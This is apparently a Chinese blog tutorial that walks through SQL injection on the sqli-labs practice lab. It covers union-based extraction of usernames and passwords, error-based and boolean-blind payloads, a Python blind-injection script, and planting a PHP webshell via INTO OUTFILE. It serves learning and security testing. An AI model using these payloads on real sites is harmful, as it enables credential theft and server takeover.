sql注入判断流程(结合sqli-labs学习)

类型一

  1. 类型判断

    ?id=1 and 1=2 --+

如果返回结果正常,说明不是数字类型

and 为两方都为真才算争取

?id=1' --+ 显示不正常

?id=1') --+ 若显示正常,则该类型为字符注入,且以('')的方式闭合字符串,还有("")

--+ 是注释,因为浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替-- ,原因是+在URL被URL编码后会变成空格。

  1. 利用order by查看有多少列

    ?id=1 order by 1 --+

    ?id=1 order by 2 --+

    ... 一直到出现 Unknown column '行数' in 'order clause' 为止

小技巧:可以选择一个较大的数字来分组

  1. 查询数据库名

    ?id=-1' UNION SELECT 1, (SELECT GROUP_CONCAT(SCHEMA_NAME) from information_schema.schemata),3 --+

id=-1' 是为了后面的内容能够正确显示,若前面能直接查询,后面可能查询不完整

  1. 通过查询到的数据库名查看表名

    ?id= -1' union select 1,(select group_concat(schema_name) from information_schema.schemata), (select group_concat(table_name) from information_schema.tables where table_schema='数据库名') --+

  2. 利用表名爆破列名

    ?id =-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

  3. 整合信息

    ?id=-1' union select 1, (select group_concat(username) from security.users),(select group_concat(password) from security.users) --+

类型二 报错盲注

  1. 按照类型一无法判断是否有存在注入
  2. 不管如何注入都显示报错信息可尝试使用三种方式进行注入
  3. floor函数(取整)

    ?id=1' and (select 1 from (select count(),concat(0x7e,database(),0x7e,floor(rand()2)) as a from information_schema.tables group by a)as b)limit 0,1--+

若返回 Subjectquery returns more than 1 row 可能是因为限制了返回的字符长度

0x7e 是符号‘~’的十六进制

限制64位

  1. extractvalue函数

    ?id=1' and extractvalue(1,concat(0x7,(select database()),0x7e)) limit 0,1--+

select database() 可替换为其他查询语句

extractvalue(XML_document, XPath_string);

返回长度为32个字符长度

  1. updatexml函数

    ?id=1' and updatexml(1,concat(0x3a,(select database())),1) limit 0,1--+

select database() 可替换为其他查询语句

updatexml(XML_document, XPath_string,new_value);

返回长度为32个字符长度

类型三 导出文件到本地,一句话木马

  1. 了解

    file权限:数据库用户是否有权限向操作系统写入和读取已存在的权限

    into outfile:服务器上一个可以写入文件的文件夹的完整路径

  2. 将结果保存在本地文件

    ?id=1')) union select 1,2,3 into outfile '有读取权限的路径\文件名.文件类型'; --+

注意使用''进行转义,即路径写为‘\’

不会覆盖已存在的文件名

  1. 尝试一句话木马

    ?id=1')) union selet 1,2,'' into outfile '有读取权限的路径\文件名.php'; --+

  2. 可尝试使用中国菜刀等软件

注意MySQL 5.7版本之后into outfile默认是禁用的,需要重新走一下初始化

在ini或者cnf初始化文件中加入初始化设定 secure_file_priv=''

类型四 布尔盲注

  1. 常用函数

    1.1 mid(string,start,length)函数

string(必需)规定要返回其中一部分的字符串

start(必需)规定开始位置(起始值为1)

length(可选)要返回的字符数。如果省略,则mid()函数返回剩余文本

1.2 substr(string,start,length) 函数

string(必需)规定要返回其中一部分的字符串

start(必需)规定在字符串的何处开始

length(可选)规定被返回字符串的长度

1.3 left(string, length)函数

string(必需)规定要返回其中一部分的字符串

length(可选)规定被返回字符串的前length长度的字符

  1. 判断数据库名字长度

    ?id=1' and length(database())=8 --+
  2. 数据库字符串判断

    ?id=1' and left(database(),1)='字符串' --+

数据库第一个字符串是否等于'字符串'

数据库第二个字符串即,left(database(),1)='字符串',一般使用python脚本进行判断

  1. import requests
  2. import os
  3. #此函数先判断数据库长度
  4. def length(url,str):
  5. num = 1
  6. while True:
  7. str_num = '%d' %num
  8. len_url = url + "' and (select length(database()) = " + str_num +")--+"
  9. response = requests.get(len_url)
  10. if str in response.text:
  11. print("数据库长度为:%s" %str_num)
  12. content(url,str,num)
  13. break
  14. else:
  15. num = num + 1
  16. #此函数判断字符串具体的内容
  17. def content(url,str,num):
  18. s = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
  19. con_num = 1
  20. while con_num <= num:
  21. str_num = '%d' %con_num
  22. for i in s:
  23. con_url = url + "' and (select mid(database(),"+ str_num +",1)='"+ i +"')--+"
  24. response = requests.get(con_url)
  25. if str in response.text:
  26. fwrite(i)
  27. con_num = con_num + 1
  28. #此函数对字符串的内容做记录并输出
  29. def fwrite(i):
  30. # fp = open("cache.txt",'a')
  31. # fp.write(i)
  32. # fp.close()
  33. print(i)
  34. if __name__ == '__main__':
  35. url = "http://localhost/sqli-labs/Less-5/?id=1"
  36. response = requests.get(url)
  37. str = "You are in..........."
  38. if str in response.text:
  39. length(url,str)
  40. else:
  41. print("请输入正确的地址")

类型五 时间盲注

  1. 时间盲注原理

    通过IF来判断我们输入是否正确,如果正确立刻返回,如果错误则延迟数秒返回。

    网站关闭了错误回显或过滤了关键字,网页只会返回状态。

  2. 测试

常见错误排除

  1. Please input the ID as parameter with numeric value
  2. 错误排除:可能书写为?id = 1 ,不要有多余的空格,应该写为?id=1

sql注入判断流程(结合sqli-labs学习)的更多相关文章

  1. zabbix(sql注入判断脚本)

    zabbix(sql注入判断脚本) #-*-coding:utf-8-*- # code by anyun.org import urllib import re def getHtml(url): ...

  2. ASP.NET会员注册登录模块(MD5加密,Parameters防止SQL注入,判断是否注册)

    MD5加密,Parameters防止SQL注入: protected void btnLog_Click(object sender, EventArgs e)     {         //获取验 ...

  3. 干货 | 精选《SQL注入、渗透、反病毒》学习总结集锦给你们~

    学到手的都是本事,如果觉得对你有帮助也欢迎分享给身边的基友们吧! 分享干货,手留余香哦~ 本次“开学季拜师活动”的徒弟们在师父的精心指导下,在短短5天内得到了迅速地成长,以前或当时遇到的问题都能够柳暗 ...

  4. 2019-11-7:sql注入防御,webshell概念,学习笔记

    sql注入防护GPC,magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post.get.cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特 ...

  5. SQL注入判断方法总结(持续更新)

    http://e.com/1.php?id=1 http://e.com/1.php?id=1-- sd http://e.com/1.php?id=aaa http://e.com/1.php?id ...

  6. 手工sql注入判断是否存在注入点

    1.加入单引号 ’提交,结果:如果出现错误提示,则该网站可能就存在注入漏洞.2.数字型判断是否有注入;语句:and 1=1 ;and 1=2 (经典).' and '1'=1(字符型)结果:分别返回不 ...

  7. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  8. 风炫安全Web安全学习第十节课 数字型的Sql注入

    数字型的Sql注入 风炫安全Web安全学习第十一节课 字符型和搜索型的sql注入 风炫安全Web安全学习第十二节课 mysql报错函数注入 风炫安全Web安全学习第十三节课 CUD类型的sql注入 风 ...

  9. 网络安全之sql注入

    1.何为Sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQ ...

随机推荐

  1. js实现-小框框全选

    点击全选下面单独的肉也会全选,再次点击取消 一个一个点击肉,点完--全选也会被选上 HTML代码---CSS略 <table> <tr> <th> <inpu ...

  2. node开发一个接口详细步骤

    最近在做后台系统改版,由于目前接口还没出来,就自己用nodejs写了个简单的接口. 我这里用的是nodejs+mysql的 这里不讲nodejs和mysql的安装.这些基础略过. 首先创建文件夹.cd ...

  3. Azkaban 2.5.0的详细安装过程

    准备下载Azkaban2.5.0:https://azkaban.github.io/downloads.htm 准备插件: 一.MySQL安装与配置 启动数据库并查看状态:sudo service ...

  4. Power Designer将数据库表结构导出到Word

     一.   安装与运行PowerDesigner(本例中用的版本是15.1) 二.“File”→“New Model”→“Categories”→“Information”→“Physical Dat ...

  5. debian系列systemd 配置nodejs服务

    1  新建service配置文件 vi /etc/systemd/system/node.service [Unit] Description=My super nodejs app [Service ...

  6. CentOS7 利用systemctl添加自定义系统服务

    一.命令systemctl介绍 CentOS 7.0中已经没有service命令,而是启用了systemctl服务器命令,它实际上将 service 和 chkconfig 这两个命令组合到一起. 命 ...

  7. jest操作 Elasticsearch

    package com.lgmall.search; import com.lgmall.search.esEntity.Article;import com.lgmall.search.esEnti ...

  8. Android Release 打包提示 "错误:找不到符号"

    搞了一上午....必须记录下来

  9. js把两个对象合并成一个对象

    Object.assign() 方法用于将所有可枚举属性的值从一个或多个源对象复制到目标对象.它将返回目标对象 语法: Object.assign(target, ...sources)参数 targ ...

  10. 持续优化云原生体验,阿里云在Serverless容器与多云上的探索

    近日,阿里云宣布推出Serverless Kubernetes服务此举意在降低容器技术的使用门槛.简化容器平台运维.并同时发布阿里云服务对Open Service Broker API标准支持,通过一 ...